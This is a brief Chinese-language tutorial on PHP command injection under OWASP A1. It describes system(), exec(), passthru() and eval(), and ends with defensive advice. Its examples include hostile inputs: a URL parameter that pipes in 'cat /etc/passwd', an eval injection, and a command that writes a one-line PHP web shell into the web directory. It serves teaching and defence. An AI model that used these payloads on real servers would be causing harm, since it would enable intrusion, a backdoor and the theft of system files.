owasp top A1 注入 Injection (1)PHP注入.1 
命令注入漏洞,和SQL注入一样通过改变语句结构执行恶意命令。  
1.PHP常见命令执行函数 
1.1system() 
执行外部程序,并且显示输出,常规用法:
<?php
$whoami = system('whoami', $retval);              //system函数执行whoami查询,返回给$retval参数
echo $retval;  													//外部命令执行后的返回状态,输出$retval
?>
  
1.2exec() 
原型:string exec (string command [, string array [, int return_var]])  exec ()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array 可以得到完整的结果,方法是把结果逐行追加到array的结尾处。  
1.3passthru() 
与system都一样  
1.4eval() 
eval函数将输入的字符串参数当作PHP程序代码来执行  函数原型:  
mixed eval(string code_str) //eval注入一般发生在攻击者能控制输入的字符串的时候  
当我们提交http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了;  
2.PHP命令注入漏洞 
http://www.sectop.com/ex1.php?dir=| cat /etc/passwd
  
在.php文件后面拼接查询操作,系统执行了就会返回文件内容  一句话木马:  
www.baidu.com & echo '<?php eval($_POST[pass]);>' > web目录/sh2ll.php
  
3.PHP命令注入防御 
1、采用白名单,或使用正则表达式进行过滤。  
2、不要让用户可以直接控制eval()、system、exec、shell_exec等函数的参数。  
3、在进入执行命令函数和方法前,对变量进行过滤,对敏感字符进行转义。 
                
                
                
        
    
 
 |